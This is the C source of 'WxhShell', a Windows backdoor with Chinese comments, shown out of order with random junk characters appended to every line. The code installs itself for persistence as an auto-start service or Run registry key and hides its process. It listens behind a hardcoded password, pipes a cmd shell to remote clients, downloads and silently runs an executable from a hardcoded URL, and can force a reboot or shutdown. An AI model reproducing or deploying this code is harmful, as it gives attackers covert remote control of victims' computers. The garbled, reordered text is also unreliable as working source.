    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oy#(]K3`O  
    if(Boot(SHUTDOWN)) QICxSk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T?f{.a)  
    else { P (7Q8i'  
    closesocket(wsh); VpY D/Oj4;  
    ExitThread(0); r5UV BV8T  
    } (0#$%US\  
    break; !~%DR~^`  
    } 4Eu'_>"a  
  // 获取shell D&"lu*"tg  
  case 's': { d>mZY66P  
    CmdShell(wsh); o+x! (  
    closesocket(wsh); _eq$C=3Ta  
    ExitThread(0); #BcUE?K*N  
    break; 41d+z>a]  
  } <z2.A/L  
  // 退出 6'N_bNW  
  case 'x': {  QtG6v<A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zI,Qc60B  
    CloseIt(wsh); Y DHP-0?  
    break; (pv}>1  
    }  XD8 I.q  
  // 离开 onRTX|#  
  case 'q': { wG7>2*(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :x[()J~N  
    closesocket(wsh); ;b=diZE  
    WSACleanup(); Mb[4_Dc  
    exit(1); @$^4Av-  
    break; $.$nv~f  
        } 5EVypw?]x  
  } hZ>m:es  
  } :Ch XzZ  
a}f /<-L  
  // 提示信息 7?uDh'utt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]g;+7  
} b(R.&X  
  } ko[d axUB  
=hb)e}l  
  return; !',%kvJI  
} b/m.VL  
_+aR| AEC  
// shell模块句柄 '{.4~:  
int CmdShell(SOCKET sock) 4.wrY6+V  
{ %5zIh[!1$  
STARTUPINFO si; #"!ga)a%L  
ZeroMemory(&si,sizeof(si)); Q <D_QJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :w5g!G?z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +:ms`Sr>  
PROCESS_INFORMATION ProcessInfo; w.J$(o(/  
char cmdline[]="cmd"; gy,)% {,G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zqe$S +u  
  return 0; f1'X<VA  
} C@:X9NU  
F."ZCEb  
// 自身启动模式 e4Qjx*[G  
int StartFromService(void) PPySOkmS3  
{ >0ZG&W9  
typedef struct w0j'>4  
{ Ag+B*   
  DWORD ExitStatus; ^{=UKf{  
  DWORD PebBaseAddress; 9Xa.%vw>  
  DWORD AffinityMask; . 70=xH  
  DWORD BasePriority; Wp:vz']V  
  ULONG UniqueProcessId; 11#b%dT  
  ULONG InheritedFromUniqueProcessId; Ut'T!RD  
}   PROCESS_BASIC_INFORMATION; :/5G Hfyj  
3V^5 4_  
PROCNTQSIP NtQueryInformationProcess; /({oN1X>i  
@XtrC|dkkE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DBaZcO(U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y>E:]#F  
@73kry v  
  HANDLE             hProcess; `kvIw,c.  
  PROCESS_BASIC_INFORMATION pbi; {Y2 J:x  
LVdR,'lS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mejNa(D ^  
  if(NULL == hInst ) return 0; PIo@B|W-SX  
=8*ru\L:hr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m='}t \=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ']\SX*z?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0',buJncV  
"?aI  
  if (!NtQueryInformationProcess) return 0; 4\|Q;@f  
d(V4;8a0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bnk<e  
  if(!hProcess) return 0; <Rn-B).3bs  
V0 Z8VqV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (j@c946z""  
Z+6WG  
  CloseHandle(hProcess); 5HHf3E [  
)hQ]>o@i{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #*y.C[^5{  
if(hProcess==NULL) return 0; 7 qn=W  
Z]DZ:dF  
HMODULE hMod; }{@y]DcdM4  
char procName[255]; ?<N} Xh  
unsigned long cbNeeded; I2RXw  
l8+)Xk>   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gukvd6-g9b  
Srmr`[i  
  CloseHandle(hProcess); ',]Aj!q  
L'KKU4zj  
if(strstr(procName,"services")) return 1; // 以服务启动 Qt>kythi  
jwLZC  
  return 0; // 注册表启动 d(RMD  
} f2o6GC_  
Y7q Q` |  
// 主模块 2TB'HNTFx  
int StartWxhshell(LPSTR lpCmdLine) (vD==n9Hd  
{ E.Th}+  
  SOCKET wsl; $vO<v<I'Gb  
BOOL val=TRUE; #m<uG5l`  
  int port=0; '4#NVXVQm  
  struct sockaddr_in door; v_U/0 0  
&XI9%h9|  
  if(wscfg.ws_autoins) Install(); -^`s#0( y^  
\zk>cQ  
port=atoi(lpCmdLine); F{Yr8(UHA  
9-_Lc<  
if(port<=0) port=wscfg.ws_port; q&?hwX Z7  
b~* iL!<  
  WSADATA data; $`\qY ^.(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :a2[d1  
G~u$BV'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nr&|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); keD?#yY  
  door.sin_family = AF_INET; ju;OQC~[L]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iumwhb  
  door.sin_port = htons(port); \/SOpC  
#l-zY}&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D'ZUbAh!  
closesocket(wsl); ~fL`aU&  
return 1; z!b:|*m]w  
} %1#|>^  
dD39?K/  
  if(listen(wsl,2) == INVALID_SOCKET) { 8tjWVo  
closesocket(wsl); bxL'k/Y$  
return 1; q^^R|X1  
} m;xa}b{(i  
  Wxhshell(wsl); v)|a}5={  
  WSACleanup(); h\Y~sm?!`  
]lyQ*gM  
return 0; ) d'H&c3  
daSx^/$R  
} u^]Gc p  
W]bytsl  
// 以NT服务方式启动 AEWrrE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D(|+z-}M  
{ N`H`\+  
DWORD   status = 0; {hf_Xro&  
  DWORD   specificError = 0xfffffff; m*)jnd XY  
JS\]|~Gd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,+OVRc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wKfq'W{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xqlnHf<G  
  serviceStatus.dwWin32ExitCode     = 0; ]xb2W~  
  serviceStatus.dwServiceSpecificExitCode = 0; e~># M $  
  serviceStatus.dwCheckPoint       = 0; [K4 k7$  
  serviceStatus.dwWaitHint       = 0; .) %, R  
~^'t70 :D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,+v(?5[6  
  if (hServiceStatusHandle==0) return; x@O )QaBN!  
lF46W  
status = GetLastError(); [z7]@v6b  
  if (status!=NO_ERROR) z,dF Dl$  
{ Z RwN#?x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x+%> 2qgj"  
    serviceStatus.dwCheckPoint       = 0; m8b-\^eP7  
    serviceStatus.dwWaitHint       = 0; &jg>X+;  
    serviceStatus.dwWin32ExitCode     = status; n++ak\  
    serviceStatus.dwServiceSpecificExitCode = specificError; Unt]=S3u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fo>_*6i74  
    return; =1!.g"0  
  } wM;=^br  
gwB0/$!4"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1_9Ka V  
  serviceStatus.dwCheckPoint       = 0; #ifjQ7(:  
  serviceStatus.dwWaitHint       = 0; '?NMQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); , .=7{y~  
} 2p 7;v7)y  
f` -vnh^+  
// 处理NT服务事件,比如:启动、停止 e iH&<AH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ' < >Q20  
{ I'n}6D.M  
switch(fdwControl) U_Mag(^-  
{ -<T> paE9  
case SERVICE_CONTROL_STOP: `GY]JVW  
  serviceStatus.dwWin32ExitCode = 0; qn{9vr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EUgKJ=jw  
  serviceStatus.dwCheckPoint   = 0; Dcs O~mg  
  serviceStatus.dwWaitHint     = 0; #-"C_~-MH  
  { p R`nQM-D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d:]ZFk_*  
  } !VudZ]Sg  
  return; B'vIL'  
case SERVICE_CONTROL_PAUSE: 1Zo3K<*J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5OFB[  
  break; D^];6\=.i  
case SERVICE_CONTROL_CONTINUE: ,ag* /  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R Eo{E  
  break; {VM^K1  
case SERVICE_CONTROL_INTERROGATE: C\bJ_vl;'  
  break; mB bGj3u;  
}; mL;oR4{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,]9p&xu  
} =&.9z 4A  
PuBE=9,  
// 标准应用程序主函数 :Us+u-~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SD:Bw0gzrI  
{ .K#' Fec  
2Mw`  
// 获取操作系统版本 hHOx ]  
OsIsNt=GetOsVer(); *'{9(Oj  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  aqi]5,  
/6 x[C  
  // 从命令行安装 PCc{0Rp\vk  
  if(strpbrk(lpCmdLine,"iI")) Install(); D7B g!*  
iM8l,Os]<f  
  // 下载执行文件 }^n"t>Z8  
if(wscfg.ws_downexe) { fP( n3Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =gd~rk9  
  WinExec(wscfg.ws_filenam,SW_HIDE); k%N$eO$  
} Vm I Afe  
?4W6TSW-'  
if(!OsIsNt) { 3Dj>U*fP  
// 如果时win9x,隐藏进程并且设置为注册表启动 mv/ Nz?  
HideProc(); _4k zlD  
StartWxhshell(lpCmdLine); vr kj4J f  
} i~4$V  
else (ze9-!%  
  if(StartFromService()) K)n058PO  
  // 以服务方式启动 Ogh,  
  StartServiceCtrlDispatcher(DispatchTable); \K Kt& bKL  
else bNvc@oo  
  // 普通方式启动 ej(< Le\  
  StartWxhshell(lpCmdLine); J/Ch /Sa  
|NFDrm  
return 0; >pq=5Ha&  
} zx?|5=+!  
.=Uu{F  
uF D  
>ca`0gu  
=========================================== S1i~r+jf  
@'J[T:e  
#%z@yg  
=C^4nP-  
P}!pmg6V  
/(}YjeS  
" NZXCaciG  
-Ji uq  
#include <stdio.h> PL3oV<\4s>  
#include <string.h> 1n>AN.nI  
#include <windows.h> Q$yQ^ mG  
#include <winsock2.h> Qg o| \=  
#include <winsvc.h> X#MC|Fzy@  
#include <urlmon.h> uxW<Eh4H*  
Vg"vC  
#pragma comment (lib, "Ws2_32.lib") ,A0v 5Q<  
#pragma comment (lib, "urlmon.lib") }[;r-5}  
D*wY,\  
#define MAX_USER   100 // 最大客户端连接数 h{ EnS5~  
#define BUF_SOCK   200 // sock buffer !}"PHby5N  
#define KEY_BUFF   255 // 输入 buffer 2kFP;7FO  
-e+im(2D=  
#define REBOOT     0   // 重启 {]7lh#M  
#define SHUTDOWN   1   // 关机 P@Pe5H"o  
'H1k  
#define DEF_PORT   5000 // 监听端口 `4qtmbj  
A_.}- dzF  
#define REG_LEN     16   // 注册表键长度 e~6>8YO+7j  
#define SVC_LEN     80   // NT服务名长度 S<w? ,Z  
Z,, qmwd  
// 从dll定义API u6*0% Km  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r!p:73L8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0(A&m ,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S\2@~*{-8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z&.F YGq}  
7wbpQ&1_  
// wxhshell配置信息 aSfAu!j)  
struct WSCFG { ?ViU%t8J5  
  int ws_port;         // 监听端口 'FG@Rg (  
  char ws_passstr[REG_LEN]; // 口令 `] Zil8n  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xh*Nu HH  
  char ws_regname[REG_LEN]; // 注册表键名 ,e*WJh8k[  
  char ws_svcname[REG_LEN]; // 服务名 *i,A(f'e4X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OlsD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I-/-k.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #\3X;{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ev5m(wR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RJD(c#r$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ooN?x31  
>#5jO9  
}; mk3,ke8  
9H cxL  
// default Wxhshell configuration ZBc8 ^QZ  
struct WSCFG wscfg={DEF_PORT, gt(!I^LHYc  
    "xuhuanlingzhe", Gmmh&Uj  
    1, [5MV$)"!j  
    "Wxhshell", [85tZr]  
    "Wxhshell", Cuom_+wV&  
            "WxhShell Service", $69d9g8-(!  
    "Wrsky Windows CmdShell Service", p!`S]\XEB  
    "Please Input Your Password: ", D+4$l+\u  
  1, G,@ Jo[e  
  "http://www.wrsky.com/wxhshell.exe", \~>7n'd ]  
  "Wxhshell.exe" H66F4i  
    }; `M,Gsy1h  
>ti)m >f  
// 消息定义模块 (U|WP%IM'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ap<j;s4`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f;3k Yh^4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kSjvY&n%  
char *msg_ws_ext="\n\rExit."; B[7Fq[.mh  
char *msg_ws_end="\n\rQuit."; Q\*zF,ek  
char *msg_ws_boot="\n\rReboot..."; " 8g\UR"[  
char *msg_ws_poff="\n\rShutdown..."; ] N7(<EV/  
char *msg_ws_down="\n\rSave to "; eeOG(@@o(  
M4L<u,\1s  
char *msg_ws_err="\n\rErr!"; yOm#c>X  
char *msg_ws_ok="\n\rOK!"; sbq:8P#  
\|R\pS}4  
char ExeFile[MAX_PATH]; k6|/ik9C  
int nUser = 0; 7,R ~2ss5z  
HANDLE handles[MAX_USER]; na] 9-~4  
int OsIsNt; =O~Y6|  
<e$%m(]  
SERVICE_STATUS       serviceStatus; 7vB6IF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vF'Y; M  
D'"l%p  
// 函数声明 Ak@y"!wnM  
int Install(void); xc1-($Q,  
int Uninstall(void); _#6*C%ax  
int DownloadFile(char *sURL, SOCKET wsh); 6'1Lu1w  
int Boot(int flag); Mdy4H[Odq  
void HideProc(void); ZtOv'nTD  
int GetOsVer(void); 1,pPLc(  
int Wxhshell(SOCKET wsl); VJ-To}  
void TalkWithClient(void *cs); cwI3ANV  
int CmdShell(SOCKET sock); bMN ]co  
int StartFromService(void); :}Z Y*ind  
int StartWxhshell(LPSTR lpCmdLine); ~Z$Ro/;l  
E.^F:$2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *XluVochrb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NV;T*I8O  
A=BT2j'l)  
// 数据结构和表定义 Q6%Pp_$k  
SERVICE_TABLE_ENTRY DispatchTable[] = d5lD!  
{ K5(:0Q.5y  
{wscfg.ws_svcname, NTServiceMain}, dY.NQ1@"  
{NULL, NULL} mZL0<vU@^  
}; Ihx[S!:  
x8RiYi+  
// 自我安装 e+wINW  
int Install(void) _/h<4G6A  
{ a} :2lL%  
  char svExeFile[MAX_PATH]; D<Z]kR(  
  HKEY key; #8a k=lL  
  strcpy(svExeFile,ExeFile); s#)0- Zj  
o(oD8Ni  
// 如果是win9x系统,修改注册表设为自启动 Md>9Daa~  
if(!OsIsNt) { XOPiwrg%p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NnO%D^P]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u~1 ,88&U  
  RegCloseKey(key); .N  Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GBGna3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r5PZ=+F  
  RegCloseKey(key); x{$/|_  
  return 0; ffem7eQ  
    } [g$IN/o%  
  } *4[P$k$7  
} iq3TP5%i  
else { 7$Pf  
-n6e;p]  
// 如果是NT以上系统,安装为系统服务 DWk2=cO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <ua! ]~  
if (schSCManager!=0) Z>ztFU  
{ SBamgc  
  SC_HANDLE schService = CreateService :hDv^D?3  
  ( 71,GrUV:  
  schSCManager, 'L G )78sk  
  wscfg.ws_svcname, ;! #IRR  
  wscfg.ws_svcdisp, X-cP '"  
  SERVICE_ALL_ACCESS, `/o|1vv@_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %H=^U8WB  
  SERVICE_AUTO_START, M8f[ck  
  SERVICE_ERROR_NORMAL, m%)S <L7 l  
  svExeFile, p+^K$w^Cs  
  NULL, hCB _g  
  NULL, X@%4N<  
  NULL, zTfl#%  
  NULL, DfVSG1g  
  NULL 4\14HcTcK  
  ); :qtg`zM/4  
  if (schService!=0) >9X+\eg-  
  { X9ec*x  
  CloseServiceHandle(schService); 5YQJNP  
  CloseServiceHandle(schSCManager); OwLJS5r@<-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fTd":F  
  strcat(svExeFile,wscfg.ws_svcname); OTmr-l6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q*R9OF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) {4$oXQ  
  RegCloseKey(key); jN!sL W  
  return 0; ``Rg0o  
    } ^2"w5F  
  } %WtF\p  
  CloseServiceHandle(schSCManager); x=V3_HI/}  
} >* ]B4Q  
} ,-1d2y  
Fhs/<w-  
return 1; _`xhP-,`S  
} s~g]`/h$r  
U DHMNubB  
// 自我卸载 #kAk d-QY6  
int Uninstall(void) ?)e6:T(  
{ 'o1lJ?~kH  
  HKEY key; z"V`8D  
d@ tD0s  
if(!OsIsNt) { 1c:/c|shQ_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /B5rWJ2AS  
  RegDeleteValue(key,wscfg.ws_regname); +l>X Z  
  RegCloseKey(key); Q8NrbMrl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fP{IW`t}]  
  RegDeleteValue(key,wscfg.ws_regname); bl4I4RB  
  RegCloseKey(key); $A>]lLo0  
  return 0; K(_8oB784  
  } k(_^Lq f-  
} }XRRM:B|)(  
} B'D~Q  
else { zu``F]B  
+3?.Vb%jY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @gm!D`YL  
if (schSCManager!=0) ^fti<Lw5  
{ hIwqSKq9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n/+G^:~_  
  if (schService!=0) L EY k  
  { k<%y+v  
  if(DeleteService(schService)!=0) { >S:+&VN`M  
  CloseServiceHandle(schService); TR!7@Mu 3  
  CloseServiceHandle(schSCManager); lt#3&@<v  
  return 0; cd)}a_9  
  } {$v>3FG  
  CloseServiceHandle(schService); ?cgb3^R'  
  } 29f4[V X  
  CloseServiceHandle(schSCManager); 0#/Pc`z C  
} cfPQcB>A  
} C.+:FY.H  
mWH;-F*%  
return 1; *NQsD C.J^  
} g3\1 3<  
-@/!u9l  
// 从指定url下载文件 r1.OLn?C  
int DownloadFile(char *sURL, SOCKET wsh) O @{<?[  
{ DC*6=m_  
  HRESULT hr; Lg+cHaA  
char seps[]= "/"; >!#or- C  
char *token; Fj1'z5$  
char *file; R3E|seR  
char myURL[MAX_PATH]; "qw.{{:tf  
char myFILE[MAX_PATH]; v\Zq=,+  
r[AqA  
strcpy(myURL,sURL); \7 }{\hY-  
  token=strtok(myURL,seps); 'BNZUuUl  
  while(token!=NULL) ShMP_?]P  
  { saR9_ ux  
    file=token; p i\SRDP  
  token=strtok(NULL,seps); "mAMfV0  
  } VPOp#;"%  
VBe&of+  
GetCurrentDirectory(MAX_PATH,myFILE); kj'  
strcat(myFILE, "\\"); xd]7?L@h.I  
strcat(myFILE, file); _ Zzne  
  send(wsh,myFILE,strlen(myFILE),0); ybpU?n  
send(wsh,"...",3,0); q ?m<9`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z A@w[.  
  if(hr==S_OK) `qa>6`\  
return 0; {0Ej *%  
else >RKepV(X7  
return 1; bdvVPjGc&  
TJkWL2r0c  
} [ P%'p-Hg_  
Z/b,aZhB  
// 系统电源模块 B-tLRLWn   
int Boot(int flag) ?,FL"ye  
{ }Z% j=c"d  
  HANDLE hToken; LgA> ,.  
  TOKEN_PRIVILEGES tkp; AI3\eH+  
nLBi} T  
  if(OsIsNt) { !9EbG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QykHB k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pcPRkYT[ M  
    tkp.PrivilegeCount = 1; Is }?:ET  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RH&}'4JE:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QHe:  
if(flag==REBOOT) { Y,d|b V*FH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CpC6vA.R  
  return 0; "S3U]zw0_  
} Xb7G!Hk#g  
else { KZwzQ"Hl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WFMQ;  
  return 0; A]m_&A#  
} M[KYt"v  
  } &%@>S.  
  else { ' g Fewo  
if(flag==REBOOT) { ?/24-n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +fG~m:E  
  return 0; DWu~%U8  
} "nC=.5/$  
else { /{nZ I_v#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r }Nq"s<  
  return 0; s:Z1 ZAxv  
} mp17d$R-  
} 3H,>[&d  
)-S;j)(+  
return 1; No(S#,vJ;  
} 5 OF*PBZ  
q??N,  
// win9x进程隐藏模块 B \>W  
void HideProc(void) ^j]"5@f  
{ `-<m#HF:)d  
Bt"*a=t;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]`eJSk.  
  if ( hKernel != NULL ) |sV@j_TX  
  { juBzpQYj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vz'<i. Yv4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L'}^Av_+  
    FreeLibrary(hKernel); mW @Z1Plxs  
  } rcG-V f@  
[300F=R  
return; B-aJn8>/  
} Axx{G~n![  
a1A3uP  
// 获取操作系统版本 kF7`R4Sz  
int GetOsVer(void) ,4kipJ!,yK  
{ QlWkK.<Z3_  
  OSVERSIONINFO winfo; W[.UM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?XO}6q<tM  
  GetVersionEx(&winfo); q'<K$4_,%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gPr&9pHU  
  return 1; $ iU~p  
  else ;q" ,Bs  
  return 0; }7/Ob)O  
} &^@IAjxn  
r;OE6}L>  
// 客户端句柄模块 aKkY)  
int Wxhshell(SOCKET wsl) r2>y !Q?  
{ \DRYqLT`  
  SOCKET wsh; O<6!?1|KP  
  struct sockaddr_in client; \}NZ] l  
  DWORD myID; =s[P =dU  
{$^Lb4O[V  
  while(nUser<MAX_USER) /R)(u@jk  
{ "AMsBvzgo  
  int nSize=sizeof(client); bL18G(5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5 }F6s  
  if(wsh==INVALID_SOCKET) return 1; >`+-Yi$(\  
407;M%?'A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h*?/[XY  
if(handles[nUser]==0) t^@4n&Dg  
  closesocket(wsh); 0Kenyn4?  
else &\s>PvnquX  
  nUser++; "Kt[jV;6  
  } Xu&4|$wB+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MA5BTq<&  
?3Dsz  
  return 0; vCtag]H2@  
} }-ysP$  
zj9aaZ}  
// 关闭 socket N^&T5cAC  
void CloseIt(SOCKET wsh) NuKx{y}P  
{ O{`r.H1',  
closesocket(wsh); CF+:9PG  
nUser--; .=-K7.X.)  
ExitThread(0); @X*r5hjc  
} F6\r"63  
'aW<C>  
// 客户端请求句柄 E>6:59+  
void TalkWithClient(void *cs) e8<[2J)P&  
{ zhFk84  
<y5f[HjLy  
  SOCKET wsh=(SOCKET)cs;  `jB2'  
  char pwd[SVC_LEN]; WXC}Ie  
  char cmd[KEY_BUFF]; } ~#^FFe  
char chr[1]; ;R.l?Bg  
int i,j; 2d Px s:8&  
LXQ-J  
  while (nUser < MAX_USER) { !t 92_y3  
bAqaf#}e  
if(wscfg.ws_passstr) { iv62Fs'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gAgP("  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gr?[s'Ze  
  //ZeroMemory(pwd,KEY_BUFF); (~FLG I  
      i=0; j(maj  
  while(i<SVC_LEN) { u6(>?r-  
,l_n:H+"F  
  // 设置超时 -KG3_kE  
  fd_set FdRead;  a7UfRG  
  struct timeval TimeOut; )q+9_KU q  
  FD_ZERO(&FdRead); xkzC+ _A  
  FD_SET(wsh,&FdRead); SRx `m,535  
  TimeOut.tv_sec=8; 3xnu SOdh  
  TimeOut.tv_usec=0; |k^ *  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4?{e?5)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7T3ub3\  
,:QDl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BnLWC  
  pwd=chr[0]; N2^B  
  if(chr[0]==0xd || chr[0]==0xa) { ;{Kx$Yt+  
  pwd=0; i%)Nn^a;T  
  break; K q0!.455  
  } c 0%%X!!$  
  i++; W!BIz&SY:-  
    } JH0L^p   
X%._:st  
  // 如果是非法用户,关闭 socket 9 6'{ES9D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V+kU^mI  
} ^l\^\ >8  
8+ <vumnw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e.|_=Gd2/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $xf{m9 8  
,@Izx  
while(1) { L4'FL?~I  
*.DTcV  
  ZeroMemory(cmd,KEY_BUFF); Lh5d2}tcO  
;9hi2_luV  
      // 自动支持客户端 telnet标准   -v(.]`Wo&;  
  j=0; &<E*W*b[  
  while(j<KEY_BUFF) { w&7-:."1i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +L8 6 w7  
  cmd[j]=chr[0]; 058+_xX  
  if(chr[0]==0xa || chr[0]==0xd) { Gq/f|43}@O  
  cmd[j]=0; O0gLu1*1v  
  break; iZ3%'~K<3J  
  } Q7 Clr{&  
  j++; C  +%&!Q  
    } zU'\r~c  
![BQ;X  
  // 下载文件 lll]FJ1  
  if(strstr(cmd,"http://")) { H0 YxPk)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kgvB80$4  
  if(DownloadFile(cmd,wsh)) I~$LIdzw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,/;mK_6  
  else U8z$=W o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6"Km E}  
  } _ s]=g  
  else { 0NB6S&lI^k  
lr[a~ca\  
    switch(cmd[0]) { w$cic  
